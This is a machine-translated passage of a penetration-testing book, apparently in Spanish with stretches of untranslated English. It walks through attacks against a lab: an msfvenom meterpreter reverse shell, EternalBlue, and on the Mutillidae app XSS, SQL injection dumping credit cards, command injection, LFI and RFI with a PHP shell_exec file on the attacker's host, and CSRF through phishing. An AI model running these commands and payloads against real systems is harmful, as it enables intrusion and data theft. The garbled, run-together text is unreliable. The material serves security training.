[-]Noseseleccionóningunaplataforma,eligiendoMsf::Module::Platform::Windowsfromthepayload [-]Noarchselected,selectingarch:x86fromthepayload Noencoderorbadcharsspecified , emitiendo carga útil sin procesar Tamaño de carga útil: 341 bytes Tamaño final del archivo exe: 73802 bytes A continuación, comenzaremos a escuchar en ese puerto utilizando el módulo de controlador múltiple en Metasploit. msf5> useexploit/multi/handler msf5exploit (multi/handler)> setpayloadwindows/ meterpreter/reverse_tcp msf5exploit (multi/handler)> setLPORT1111 msf5exploit (multi/handler)> exploit En esta etapa, todo lo que necesitamos es transferir esta carga útil ( shell.exe ) a la unidad de host de nuestra víctima de Windows. Una vez que la ejecutamos, debemos obtener un Meterpretershell: [*]Se inició el controlador TCP inverso en 172.16.0.102:1111[*]Enviando la etapa (176195bytes) a 172.16.0.100 [*]Meterpretersession1 abrió (172.16.0.102:1111->172.16.0.100:49177) a las 2020-06-2702-:39:39:39 0400 metro preter> Más adelante en este libro, aprenderá cómo proceder desde esta etapa de privilegio Canal de Telegram : @IRFaraExam Machine Translated by Google escalationandpivotingusingMeterpreter. MSFvenenoopciones Para gestionar bien MSFvenom, deberá dominar sus opciones. Esta es la plantilla de un comando típico: $msfvenom-p[nombre de carga útil]–plataforma[Sistema operativo]-e[codificador]f[formato]–out[nombre de archivo de salida] Para obtener una lista de todas las cargas compatibles, use lo siguiente (use el comando grep para filtrar los resultados): $msfvenom-lpayloads Para obtener una lista de todas las plataformas admitidas (p. ej., Windows, Linux, etc.), use lo siguiente: $msfvenom-lplataformas Para obtener una lista de todos los codificadores admitidos (para eludir el software antivirus), use lo siguiente: $msfvenom-lencoders También puede codificar la carga útil varias veces usando el indicador ÿi . A veces, más iteraciones pueden ayudar a evitar la protección antivirus, pero sepa que la codificación no está realmente destinada a ser utilizada como una solución de evasión antivirus real: $msfvenom-pwindows/meterpreter/bind_tcp-ex86/shikata_ga_nai-i3 Por último, para obtener una lista de todos los formatos de archivo compatibles con MSFvenom, configure: $msfvenom--formatos de ayuda Explotación del protocolo SMB El protocolo Samba ha sido un servicio explotable popular en los últimos años. Los principales exploits en Metasploita están relacionados con las vulnerabilidades de SMB. Conexión a recursos compartidos SMB Una vez que vea que el puerto 445 está abierto durante la fase de enumeración, puede Canal de Telegram : @IRFaraExam Machine Translated by Google proceda intentando conectarse a estos directorios. Para enumerar las carpetas compartidas en un host remoto, utilicemos el módulo smb_enumshares de Metasploit : msf5> useauxiliary/scanner/smb/smb_enumshares msf5auxiliary(scanner/smb/smb_enumshares)> setRHOSTS 172.16.0.100 RHOSTS=>172.16.0.100 msf5auxiliary(escáner/smb/smb_enumshares)> setSMBUseradmin SMBUser=>admin msf5auxiliary(escáner/smb/smb_enumshares)> setSMBPassadmin SMBPass=>admin msf5auxiliary(escáner/smb/smb_enumshares)>ejecutar [+]172.16.0.100:445-ADMIN$ÿ (DISCO)RemoteAdmin [+]172.16.0.100:445-Cÿ(DISCO) [+]172.16.0.100:445-C$ÿ(DISK)Defaultshare [+]172.16.0.100:445-IPC$ÿ (IPC)RemoteIPC [*]172.16.0.100:-Análisis de 1 de 1 hosts (100 % completo) [*]Ejecución del módulo auxiliar completada Encontramos cuatro directorios compartidos en el host de Windows anterior. En Kali, puede acceder a un recurso compartido SMB de forma remota mediante el explorador de carpetas del sistema operativo. Asegúrese de ingresar la siguiente ruta en el Administrador de archivos de Kali (vea la Figura 7.25): Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.25 SMBConnect smb://[dirección IP] Una vez que ingrese la dirección IP correcta, se le pedirá que ingrese las credenciales (en mi caso, es admin:admin). Cuando haga clic en el botón Conectar, tendrá acceso visual completo a los recursos compartidos remotos (consulte la Figura 7.26). Figura 7.26 Conexión SMB establecida Canal de Telegram : @IRFaraExam Machine Translated by Google SMBEternalBlueExploit Estamos utilizando este tema como un ejemplo de la razón. Este exploit azul eterno fue popular hace algunos años, y Microsoft ya lo parcheó. Pero como está aprendiendo sobre el aprovechamiento, entonces tiene que ver cómo funciona. Nuevamente, usaremos Metasploit y ejecutaremos el módulo ms17_010_eternalblue : Más _ _ _ RHOSTS=>172.16.0.100 msf5exploit(windows/smb/ms17_010_eternalblue)> setSMBUSERadmin SMBUSER=>admin msf5exploit(windows/smb/ms17_010_eternalblue)> setSMBPASSadmin SMBPASS=>admin msf5exploit(windows/smb/ms17_010_eternalblue)> explotar [*]IniciadocontroladorTCPreversoen172.16.0.102:4444[*]172.16.0.100:445Usandoauxiliary/scanner/smb/smb_ms17_010ascheck [+]172.16.0.100:445HostisprobablementeVULNERABLEparaMS17-010!-Windows7Professional17601ServicePack4bit) [*]172.16.0.100:445-Análisis de 1 de 1 hosts (100 % completo) [*]172.16.0.100:445-Conectando al objetivo para la explotación. […] meterpreter> getuid Nombre de usuario del servidor:NTAUTHORITY\SYSTEM Resumen La explotación es divertida e idealmente disfrutó este capítulo. El aprendizaje debe ser una actividad divertida y no una tarea ardua. Los materiales que aprendió le permitirán avanzar a los siguientes pasos, que son la escalada de privilegios y el movimiento lateral. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 8 Vulnerabilidades de aplicaciones web En este capítulo, aprenderá los aspectos básicos de las vulnerabilidades de las aplicaciones web. La seguridad de las aplicaciones es una categoría en sí misma, y dado que necesitaríamos un libro completo para cubrir todos los temas de seguridad de las aplicaciones, usaremos este capítulo para cubrir solo los más obvios. Gran parte de lo que aprenderá en este capítulo le permitirá probar las aplicaciones web antes de implementarlas en el entorno de producción. DevSecOpsi tiene que ver con asegurarse de que la canalización pueda entregar una aplicación web segura. Cada empresa necesita realizar cambios en su sitio web, pero antes de implementar los cambios en producción, deben pasar por una canalización de integración continua/implementación continua (CI/CD). Como analista de seguridad, su función es detectar cualquier vulnerabilidad con anticipación antes de implementar los cambios en el entorno de producción. Si retrocede en el tiempo (10 años o más), notará que solíamos tener aplicaciones de Windows, pero hoy en día, la tendencia ha cambiado y la mayoría de los proyectos están basados en la web o en la nube. En este capítulo, aprenderá sobre lo siguiente: Secuencias de comandos entre sitios Inyección SQL comandoinyección Inclusión de archivos Falsificación de solicitud entre sitios Omisión de carga de archivos Vulnerabilidades de aplicaciones web El backend de las aplicaciones web se crea utilizando diferentes lenguajes de programación. Los más populares son Java, C#.NET (Framework/Core) y PHP. Canal de Telegram : @IRFaraExam Machine Translated by Google como Angular, React, etc. Además, la interfaz usará CSS para decorar la apariencia de las páginas web. Asasecurityprofessional, youmustknowthebasicsofwebapplication vulnerabilities.Also, youshouldlearnhowtobuildawebapplicationfromAto Z (it'sbesttolearnbypracticing) .Youcan'tjustusescannersandsendyour reportswithoutvalidation.Tovalidatethevulnerabilitieslikeaprofessional, que mustunderstandwebapplicationprogramming.Atthebeginning, pickoneprogramminglanguageforthebackend youcanjust (por ejemplo, C # .NETCore) Andone JavaScriptframeworkforthefrontend (por ejemplo, angular). MutillidaeInstalación Para aprender los principios de esta sección, usaremos la aplicación web vulnerable llamada Mutillidae y usaremos Ubuntu para alojar esta aplicación web. 1.Instalarelservidorweb. 2. Configure el cortafuegos. 3.Instalar PHP. 4. Instale y configure la base de datos. Instalación del servidor web Apache Primero, instale un servidor web Apache para alojar el sitio web. En esta etapa del libro, debería poder manejar los comandos del terminal: $aptupdate&&aptupgrade-y $aptinstallyapache2apache2-utils $a2enmodrewrite $systemctlrestartapache2 $systemctlenableapache2 Configuración del cortafuegos No queremos que el cortafuegos de Ubuntu bloquee la comunicación HTTP durante nuestras pruebas. Hay dos tipos de cortafuegos preinstalados en Ubuntu Linux: iptables ufw Canal de Telegram : @IRFaraExam Machine Translated by Google Ejecutemos dos comandos para cambiar (desbloquear) cada tipo de firewall (solo para estar en el lado completo): $ iptables-IINPUT-ptcp - dport80-jACCEPT $ ufwallowhttp Instalación de PHP PHP es el lenguaje de programación en el que se basa este sitio web. Por lo tanto, necesitamos instalar el marco para ejecutar el código fuente en el host de Ubuntu: $aptinstall-yphp7.4libapache2-mod-php7.4php7.4-mysqlphp commonphp7.4-cliphp7.4commonphp7.4-jsonphp7.4-opcachephp7.4-readlinephp7.4-curlphp7.4-mbstringphp7.4-xml Instalación y configuración de la base de datos Los datos del sitio web deben almacenarse en una base de datos. Mutillidae guardará los datos en una base de datos MySQL. Instalaremos MariaDB, que se basa en el motor MySQL: $aptinstallmariadb-servermariadb-client-y $systemctlenablemariadb Para permitir que la aplicación web acceda a esta base de datos, necesitaremos actualizar los permisos del usuario raíz de la base de datos. Para hacer el trabajo, ejecutaremos los siguientes comandos (tenga en cuenta que una vez que ejecute el primer comando, ingresará los comandos interactivos de MySQL): $mysql-uroot >usemysql; >updateusersetauthentication_string=PASSWORD('mutillidae')whereuser='root'; >updateusersetplugin='mysql_native_password'whereuser='root'; >privilegios de descarga; >salir De acuerdo con los comandos anteriores, cambiamos la contraseña del usuario de root a mutillidae. MutillidaeInstalación Ahora que tenemos todos los componentes instalados, debemos descargar los archivos binarios del sitio web desde GitHub. Además, debemos crear una carpeta mutillidae en el directorio del servidor web / var / www / html : Canal de Telegram : @IRFaraExam Machine Translated by Google $ cd / var / www / html / $ aptinstallgit-y $ gitclonehttps: //github.com/webpwnized/mutillidae.gitmutillidae $ systemctlrestartapache2 Para abrir la aplicación web Mutillidae, abra un navegador web en su servidor Ubuntu y diríjase a localhost / mutillidae , como se muestra en la figura 8.1. Figura 8.1 Página de inicio de Mutillidae La primera vez que visite el sitio, se le notificará que la base de datos está fuera de línea. Haga clic en el enlace Configurar/ Restablecer la base de datos y será redirigido a la página Restablecer base de datos. Script entre sitios Cross-sitescripting (XSS) clientscriptsonthevictim'sclientbrowser isaweaknessthatcanbeexploitedbyexecuting (por ejemplo, JavaScript) .Thisflawexists whenthedeveloperoftheapplicationdoesnotvalidatetheinputdataproperly onthebackend.Wheneveryouseetextonthewebpagethatcanbemanipulated withuserinput, itmeansthereisaprobabilitythatitisvulnerabletoXSS.Don't worryifyoudon'tunderstandthisrightnow; wewillpracticeittogether.The followingaretwocomm Canal de Telegram : @IRFaraExam Machine Translated by Google ReflejadoXSS AlmacenadoXSS ReflejadoXSS AreflectedXSSflawcanbeexploitedbymanipulatinganyinput (por ejemplo, aURL, cuadro de texto, HiddenField, etc.) ToexecuteJavaScriptontheclient'sbrowser.To practicethisscenario, selectOWASP2017ÿA7-CrossSiteScripting (XSS) ÿ reflejada (de primer orden) ÿDNSLookup.Onthispageyouaresimplytryingto gettheDNSnamebehindanIPaddressthatyousupplyinatextbox.Next, introduzca 172.16.0.1 astheIPaddressoftherouterandclicktheLookupDNSbutton. Mire de cerca los resultados de salida que se muestran en la figura 8.2. La dirección IP se imprime en los resultados del mensaje para 172.16.0.1. En otras palabras, usamos el cuadro de texto (un campo de entrada del usuario) y se imprimió en la página. Figura 8.2 Mutillidae– DNSLookup A continuación, reemplazaremos el valor de la dirección IP en el cuadro de texto con algún código de JavaScript. Si el código se ejecuta, entonces la página es vulnerable a un XSS reflejado. Inyecte un mensaje emergente simple de JavaScript, como se muestra aquí: <script>alerta('HolaKCorp')</script> Si funciona, entonces puede ejecutar cualquier JavaScript malicioso a su gusto. De hecho, KaliLinux tiene un marco completo para las bibliotecas XSSJavaScript; consulte el marco de explotación del navegador (BeEF). Ahora, si hacemos clic en el botón Buscar DNS, el script se ejecutará y una alerta emergente mostrará el mensaje en la Figura 8.3. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.3 Mutillidae–ScriptAlert Para que este ataque funcione, deberá convencer a la víctima de que haga clic en la página vulnerable. En este caso, el usuario debe morder el anzuelo utilizando algún tipo de ataque de ingeniería social avanzada (por ejemplo, correo electrónico de phishing). AlmacenadoXSS El XSS almacenado es similar al reflejado (ambos ejecutarán la carga útil de JavaScript). La única diferencia es que el XSS almacenado guardará el JavaScript en un sistema de almacenamiento (por ejemplo, una base de datos). Este es peligroso porque es persistente en la página vulnerable. Cualquier usuario que visite esa página será infectado por la carga útil de JavaScript. Para probar este escenario en Mutillidae, seleccione OWASP 2017ÿA7–CrossSite Scripting(XSS)ÿPersistente(SecondOrder)ÿAddToYourBlog . Una vez que haga clic en Guardar entrada de blog, verá un mensaje emergente con el número 0. Si intenta volver a esta página, siempre verá este mensaje emergente ya que está guardado dentro de la tabla del blog. NOTA Puede restablecer la base de datos en cualquier momento que desee haciendo clic en el enlace Restablecer base de datos en la barra de menú superior. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.4 Mutillidae– BlogEntry Explotación de XSSU mediante el encabezado Otra forma de inyectar JavaScript en una página es a través del encabezado de solicitud. Si el administrador guarda cada solicitud de encabezado con fines de revisión y registro, puede aprovechar este comportamiento, pero ¿cómo ? Seleccione OWASP2017ÿA7– CrossSiteScripting(XSS)ÿPersistente (SecondOrder)ÿShow Logtogetthere. Figura 8.5 Troncos de Mutillidae Esta página mostrará los encabezados de cada solicitud web a esta aplicación web para Canal de Telegram : @IRFaraExam Machine Translated by Google registros. La tercera columna muestra el agente del navegador desde el encabezado de la solicitud. Usemos Burp para interceptar la solicitud y cambiemos el agente del navegador. Ya ha visto un ejemplo durante la fase de enumeración de cómo preparar Burp para la interceptación. Para que esto funcione, necesitamos lo siguiente: El navegador debe utilizar un proxy (en el puerto 8080). Necesitamos cargar Burp y asegurarnos de abrir la pestaña Proxy y luego la subpestaña Interceptar, que tiene un botón Interceptar. Visitemos cualquier página web sobre Mutillidae, usando la página de inicio, e interceptémosla usando Burp (vea la Figura 8.6). Figura 8.6 Burpsuite –ProxyIntercept Modifique el valor del agente de usuario, reemplácelo con un mensaje de alerta de JavaScript (consulte la Figura 8.7) y haga clic en el botón Adelante. Después de hacer clic en Adelante, informe a Burp para detener la intercepción. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.7 BurpSuite –UserÿAgentEditar Cuando volvamos a la página de registros, deberíamos obtener una alerta emergente de JavaScript. Recuerde que lo que hicimos aquí es XSS almacenado, los registros se almacenan en una base de datos para que el administrador pueda leerlos cuando quiera. OmitirJavaScriptValidation JavaScriptvalidationisamisconceptionfornovicedevelopers.Theyaddthe validationinthefrontendJavaScriptcode, andtheydon'timplementitonthe backend. (Inourcase, thebackendisPHP.) BurpSuitewillcometotherescue againandallowustointercepttherequestandinjectourpayload.Toenablethis securityfeature (JavaScriptvalidation), wewillclicktheToggleSecuritytop menuitem.Oncethesecuritylevelissetto1, wewilltrytoinjectthe Hola JavaScriptcodeintheDNSLookuppagethatweusedearlier.Thistime, la pagewillnotexecutetheJavaScriptcode, anditwillshowusamessagesaying thatit'snotallowed, asshownin Figure8.8 (porque hay una validación en el código front-end). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.8 Mutillidae– BadCharactersErrorMessage Para pasar por alto la validación de JavaScript, comenzaremos la interceptación usando Burp. A continuación, ingresaremos una dirección IP válida (8.8.8.8, como se muestra en la Figura 8.9) y haremos clic en el botón Buscar DNS. Si cambiamos a la pestaña Proxy Burp, deberíamos ver la solicitud web. Podemos ver la dirección IP en el contenido de la solicitud de POS. Todo lo que debemos hacer en esta etapa es reemplazar la dirección IP con el script de prueba, como se muestra en la Figura 8.10. Después de realizar los cambios, haga clic en el botón Adelante y detenga la intercepción haciendo clic en el botón Intercept Is On. Cuando cambiamos a la página web de búsqueda de DNS, deberíamos ver que el JavaScript se ha ejecutado correctamente. ¿Por qué sucedió esto? Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.9 BurpSuite –InterceptPayload Figura 8.10 BurpSuite –TargetHostScript Inyección SQL La inyección de SQL (SQLi) es mi vulnerabilidad web favorita y es la más peligrosa. SQLi permitirá que un usuario malicioso ejecute comandos SQL a través del navegador web. Puede hacer mucho con los comandos SQL, como los siguientes: Consultar la base de datos con el comando select (por ejemplo, puede seleccionar todos los registros de los usuarios y robar información confidencial) Omita la página de inicio de sesión utilizando la declaración verdadera en SQL Ejecutar comandos del sistema y, además, tener un shell remoto, por ejemplo Manipule los datos mediante los comandos SQL de inserción / eliminación / actualización Consultar la base de datos Canal de Telegram : @IRFaraExam Machine Translated by Google Permítame mostrarle algunas consultas SQL antes de proceder a explotar esta debilidad. Esta aplicación web vulnerable creó una base de datos llamada mutillidae dentro , y de esta base de datos, hay una tabla llamada cuentas (consulte la Figura 8.11). Para comenzar con un comando simple, consultaremos la prueba de nombre de usuario que ya creamos en la aplicación web. Usaremos DBeaver como cliente de base de datos gráfica para ejecutar esta consulta, como se muestra en la Figura 8.12. Figura 8.11 Tabla de cuentas Figura 8.12 AccountsTableÿSQLQuery ¿Qué pasa si podemos engañar a la base de datos para seleccionar todos los registros de la tabla de cuentas ? Usaremos el carácter de comentario (ÿ ÿ) para ignorar alguna parte de la consulta. Canal de Telegram : @IRFaraExam Machine Translated by Google Tenga en cuenta que necesitamos agregar un espacio después de los guiones dobles. Como ejemplo, ingresaremos los siguientes datos en el formato de búsqueda de usuario http://localhost/ mutillidae/index.php?page=user-info.php, como se muestra en la Figura 8.13: Figura 8.13 LoginSQLi Nombre de usuario=prueba'o1=1ÿ ÿ Contraseña=cualquier cosa La comilla simple cerrará el valor de la cadena de nombre de usuario y la declaración or1=1 devolverá una declaración booleana verdadera. Figura 8.14 showshowtheSQLstatementwilllook . Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.14 LoginSQLiQuery Como puede ver en la figura, el comando ha consultado todos los registros en la tabla de cuentas . Por lo tanto, debe ejecutarse en la página web cuando hacemos clic en el botón Ver detalles de cuenta. Normalmente, la página debe mostrar solo una cuenta, pero, en este caso, todos los registros se obtendrán de la tabla debido a la carga de cuatro consultas SQL, como se muestra en la Figura 8.15. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.15 Resultados de LoginSQLi Pasar por alto la página de inicio de sesión Lógicamente hablando, el código PHP utilizará el siguiente algoritmo durante la fase de inicio de sesión: 1. Busque el nombre de usuario ingresado en el cuadro de texto del nombre de usuario y la contraseña ingresada en el cuadro de texto de la contraseña. 2. Si existe algún registro en la base de datos, inicie sesión. 3. Si no se encuentran registros, el usuario recibirá un mensaje de error. Según la consulta de la Figura 8.12, reutilizaremos la misma carga útil que inyectamos en el truco anterior. Esta vez, usaremos la página de inicio de sesión en su lugar, como se muestra en la Figura 8.16. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.16 Mutillidae–LoginSQLi Recuerde que o 1=1 devolverá verdadero, y todo lo que siga se ignorará debido a los caracteres de comentario (guiones dobles). Por lo tanto, si la base de datos devuelve una afirmación verdadera , el usuario podrá iniciar sesión con el primer registro de usuario seleccionado en la tabla, que es admin, como se muestra en la Figura 8.17. (Consulte la Figura 8.14 para ver el primer registro). Ejecutar comandos de base de datos mediante SQLi En esta sección, aprovecharemos otra debilidad en las consultas SQL que nos permitirá ejecutar comandos SQL. En el ejemplo anterior, vimos la combinación de la declaración OR true y los comentarios que nos permitieron obtener una declaración verdadera. En esta sección, usaremos el comando unionselect para consultar los datos que estamos buscando. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.17 Mutillidae–LoginSQLiResults En la página Búsqueda de usuarios, ingrese los detalles que se muestran en la Figura 8.18. Figura 8.18 Sintaxis de SQLi-UnionSelect Una vez que haga clic en Ver detalles de la cuenta, recibirá el siguiente mensaje de error: /var/www/html/mutillidae/classes/MySQLHandler.phponline224:Error al ejecutar la consulta: connect_errno:0 número de error: 1222 error: Las sentencias SELECT usadas tienen un número diferente de columnas info_cliente:mysqlnd7.4.3 host_info:127.0.0.1a través de TCP/IP * FROMcuentasWHEREusername=''unionselect1,2 ' -)Consulta:SELECTANDpassword='cualquier cosa'(0)[Excepción] El mensaje nos dice que la tabla de cuentas que estamos tratando de usar en el la base de datos tiene más de dos columnas. Generalmente, puede incrementar el número hasta que ya no vea un mensaje de error. En nuestro ejemplo, vamos a hacer trampa ya que sabemos que esta tabla tiene siete columnas ( consulte la Figura 8.11). Figura Canal de Telegram : @IRFaraExam Machine Translated by Google 8.19 muestra lo que sucede cuando ingresamos el número correcto de columnas. Figura 8.19 SQLi : selección de unión De acuerdo con el resultado, pudimos imprimir el número 2 en el campo de nombre de usuario, 3 en el campo de contraseña y 4 en el campo de Firma. En el siguiente paso, reemplazaremos el número 2 por el comando VERSION() que mostrará el número de versión de la base de datos, como se muestra en la Figura 8.20. Figura 8.20 SQLi : selección de unión con versión de base de datos Ahora que vio cómo funciona, es hora de pasar a un escenario más complejo. Usemos el poder de SQL para consultar todos los nombres de tabla en la base de datos (los ejemplos usan DBeaver para mayor claridad ) . Canal de Telegram : @IRFaraExam Machine Translated by Google Hay una tabla interesante llamada nombres de tarjetas , por lo general es 'inspectcolumn' de crédito. Esta vez, usaremos la tabla de columnas de esquema de información y mostrar los valores de column_name donde el nombre de la tabla es igual a credit_cards . Consulte la Figura 8.22. Finalmente, vamos a volcar los datos de la tabla de tarjetas de crédito. Concatenar los resultados usando la función concat y use 0x3A como un limitador. Vea la Figura 8.23 ( 0x3A es equivalenttoacolon,:). Figura 8.21 SchemaTable –CreditCardsField Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.22 CreditCardsTableQuery Figura 8.23 Extraer datos de tabla de tarjetas de crédito Ahora ya sabe cómo los piratas informáticos roban tarjetas de crédito de los sitios web. Le insto a que no utilice este conocimiento de mala fe. Figura 8.24 SQLQuery –WriteToSystem Fue un buen intento, pero desafortunadamente, el sistema no nos permitió escribir en el disco. SQLInjectionAutomationwithSQLMap SQLMap es popular, por lo general, vea cómo usarlo en caso de que desee hacerlo rápidamente Canal de Telegram : @IRFaraExam Machine Translated by Google La mayoría de las veces, no uso SQLMap durante mis compromisos (lo uso en los desafíos de CTF), sino que uso Burp ProScanner para encontrar vulnerabilidades de SQLi. Los principios que acaba de aprender en la sección anterior son los que utilizo cuando pruebo la inyección de SQL. Rastrear las URL de la aplicación web para encontrar un enlace vulnerable: $sqlmap-u[URL]--rastreo=1 Para averiguar si la inyección SQL es válida, configure: $ sqlmap-u [URL] banner Para seleccionar el nombre del servidor de la base de datos (p. ej., mysql ) durante las pruebas de inyección de SQL, configure: $ sqlmap [URL] - dbms [db] Esto ayudará al escáner a inyectar los parámetros y caracteres correctos. Si encuentra que el objetivo es vulnerable y desea enumerar las bases de datos, utilice: $ sqlmap-u [URL] - dbs Si desea listar las tablas dentro de una base de datos específica, configure: $sqlmap-u[URL]–D[nombrebd]--tablas Para volcar el contenido de una tabla (p. ej., tabla de usuarios), configure: $sqlmap-u[URL]-D[nombrebd]-T[nombretabla]--dump Intente obtener un shell de sistema operativo utilizando lo siguiente: $sqlmap-u[URL]--os-shell TestingforSQLInjection ¿Cómo sabe que una página es vulnerable a la inyección de SQL? Hay dos formas de hacerlo: Intente inyectar una sola cita en la entrada de la página (URL, cuadro de texto, encabezado, etc.). Si obtiene un error de SQL, entonces es vulnerable. Trate de usar una herramienta automatizada (por ejemplo, BurpProScanner) para probar Canal de Telegram : @IRFaraExam Machine Translated by Google Inyección blindSQL. AblindSQLi no mostrará un mensaje de error, pero la página aún podría ser vulnerable a esta falla. Si desea ejecutar esto manualmente, puede probar el método de tiempo para retrasar el tiempo de carga de la página. Probemos este enfoque en la página de búsqueda de usuarios de Mutillidae e insertemos un carácter de comillas simples en el campo Nombre, como se muestra en la Figura 8.25. Figura 8.25 Error de SQLi Como puede ver, la página muestra un mensaje de error que nos dice que SQL El servidor no entendió la siguiente consulta: Seleccionar*desdecuentasdondenombredeusuario="ycontraseña=" CommandInjection El concepto de inyección de comandos es simplemente ser capaz de ejecutar comandos a su gusto en una página web. Cuando vea una página que ofrece la ejecución de comandos, entonces es su deber probar si es vulnerable a esta falla. Veamos un ejemplo práctico de inyección de comandos usando la aplicación web Mutillidae. Seleccione Owasp2017ÿA1–Injection(Other)ÿCommandInjectionÿ DNSLookup. Dado que esta página ejecutará un comando de búsqueda de DNS para mostrarle los resultados, entonces es probable que sea vulnerable a esta falla. ¿Qué sucede realmente en el back-end cuando ingresa una dirección IP? Canal de Telegram : @IRFaraExam Machine Translated by Google ejecutando el siguiente comando (con la dirección IP como variable de parámetro): nslookup[dirección IP] Si el desarrollador no validó el parámetro, podemos aprovecharlo. Nuestro objetivo es hacer que el backend ejecute algo como lo siguiente (recuerde que && agregará varios comandos al mismo tiempo): nslookup[dirección IP]&&[comando del sistema operativo] Para probar este enfoque, usemos el comando ls (vea la Figura 8.26) ya que la aplicación web Mutillidae está almacenada en un servidor Linux. Figura 8.26 Mutillidae: inyección de comandos ¿Qué sigue? Dado que nuestro comando ls de prueba de concepto se ha ejecutado correctamente, ahora podemos reemplazarlo con un comando de shell remoto. ArchivoInclusión La inclusión de archivos se puede explotar apuntando a una ruta de archivo (local o remotamente) usando la URL. Si el archivo es local en el servidor web, entonces lo llamamos inclusión de archivo local , y si el archivo es remoto , entonces lo llamamos inclusión de archivo remoto . Canal de Telegram : @IRFaraExam Machine Translated by Google LocalFileInclusionLocalFileInclusion La inclusión de archivos locales (LFI) se explota mediante la inyección de una ruta de archivo en la URL que apunta al servidor web local. Considere que tenemos una aplicación web vulnerable que carga la página de inicio de la siguiente manera: http://[nombre de dominio]/home.asp?file=login.html Como puede ver, la aplicación está usando la cadena de consulta del archivo para cargar la página HTML de inicio de sesión. ¿Qué pasa si podemos cambiar eso con otra página en el sistema de archivos? http://[nombre de dominio]/home.asp?file=../../../../etc/passwd A ver si podemos aplicar el ejemplo anterior en la aplicación web Mutillidae. Cuando visitemos la página de inicio, veremos la siguiente URL: http://localhost/mutillidae/index.php?page=home.php Eso es interesante porque la página está usando la variable de cadena de consulta para cargar dinámicamente un archivo en el servidor ( que es home.php en este caso). Veamos si podemos reemplazar el valor home.php con la ruta del archivo passwd (vea la Figura 8.27). Figura 8.27 Mutillidae: extracción del archivo de contraseña ¡Increíble! Ahora es su turno de explotarlo. Más adelante en este libro, aprenderá la lista de archivos que necesitará verificar en cada tipo de sistema operativo. Por el momento, concentrémonos en comprender el concepto. RemoteFileInclusionRemoteFileInclusion La inclusión de archivos remotos (RFI) se aprovecha al poder cargar un archivo remoto Canal de Telegram : @IRFaraExam Machine Translated by Google alojado en otro servidor web. Para lograr este objetivo, deberá poder cargar el archivo con algo como esto: http://[nombre de dominio]/page.php?file=[URL remota]/shell.php Practiquemos el patrón anterior en la siguiente URL en Mutillidae: http://localhost/mutillidae/index.php?page=arbitrary-file inclusion.php Antes de explotarlo, necesitaremos hacer un cambio en el archivo php.ini en el servidor host. En este caso, el archivo se encuentra en /etc/php/7.4/apache2/php.ini . Abraelarchivoyasegúresedetenerlossiguientesvalores: Allow_url_fopen=Activado Allow_url_include=Activado Una vez que localice estas dos variables, asegúrese de guardar el archivo. A continuación, reinicie el servidor web: $servicioapache2restart En esta etapa, preparemos un script PHP que nos permitirá ejecutar el comando ls . Podemos alojar el archivo PHP en nuestro host Kali (asegúrese de que el servidor web esté instalado). Cree el archivo shell.txt en nuestro host Kali en la siguiente ruta: /var/www/ . html/shell.txt root@kali:~#cd/var/www/html/ root@kali:/ var/www/html#serviceapache2start root@kali:/var/www/ html#echo"<?phpechoshell_exec("ls");?> ">shell.txt ¡Increíble! Ahora podemos invocar este script de forma remota desde el servidor web de Mutillidae (consulte la Figura 8.28): Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.28 Mutillidae: inclusión de archivos remotos KaliIP: 172.16.0.102 MutillidaeUbuntuHostIP: 172.16.0.107 En esta etapa, puede reemplazar el comando ls con el script de shell remoto que sea compatible con el servidor remoto (p. ej., Python, Perl, etc.). PROPINA Ejecute el comando which para encontrar el shell compatible que desea ejecutar. Por ejemplo, el comando which python le mostrará la ruta al ejecutable de Python si está instalado en el servidor remoto. Falsificación de solicitud entre sitios La falsificación de solicitudes entre sitios (CSRF) se explota aprovechando la sesión del usuario para ejecutar una solicitud de formulario POST en su nombre. CSRF (pronunciado por algunas personas como “seasurf”) puede ser efectivo en blogs o redes sociales, por ejemplo. Antes de continuar con nuestro ejemplo, debe conocer los conceptos básicos para poder probar una vulnerabilidad CSRF. Cuando un usuario se autentica en un sitio web, una cookie de sesión Canal de Telegram : @IRFaraExam Machine Translated by Google se creará únicamente para esta persona. En segundo lugar, esta cookie de sesión permanecerá activa hasta que caduque, incluso si cambia a otro sitio. Para este ejemplo, usaremos, nuevamente, la página de blog de la aplicación web Mutillidae (consulte la Figura 8.29): http://[Dirección IP]/mutillidae/index.php?page=add-to-your-blog.php Figura 8.29 MutillidaeBlogPage Llevemos este ataque más lejos y visualicemos un escenario real. Elliot, el atacante, quiere hackear a su víctima, Angela, de KCorp. Veamos la acción. El escenario del atacante Elliot analizará el contenido de la página e identificará que este blog es vulnerable a CSRF. Luego, creará una página maliciosa para infectar a Angela. (Ellio está usando la versión Pro de Burp, no la gratuita). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.30 BurpSuite : generar CSRFPoC Una vez que haga clic en Generar CSRFPoC, aparecerá una ventana emergente. A continuación, Elliot copiará el código generado utilizando el botón Copiar HTML, como se muestra en la Figura 8.31. Luego, el atacante guardará el código HTML en un archivo en el servidor web de su kalihost: /var/www/html/csrf.html En esta etapa, Elliot debe realizar un paso final. Enviará un correo electrónico de phishing a Angel para convencerla de que visite el siguiente enlace: http://[KaliIP]/csrf.html Además, Elliot intentará asegurarse de que Angela abra la página de su blog en una pestaña separada del navegador (recuerde que en el ataque CSRF necesitamos la sesión de la víctima). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.31 BurpSuite : generar CSRFCopyHTML El escenario de la víctima Ahora es el momento de que Angel reciba el correo electrónico de phishing y haga clic en el enlace. Una vez que lo haga, irá al servidor web alojado de Kali y hará clic en el botón Enviar solicitud. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.32 CSRFPoCVíctima Tenga en cuenta que Angela tiene la página de blog de Mutillidae ya abierta en la primera pestaña. Una vez que 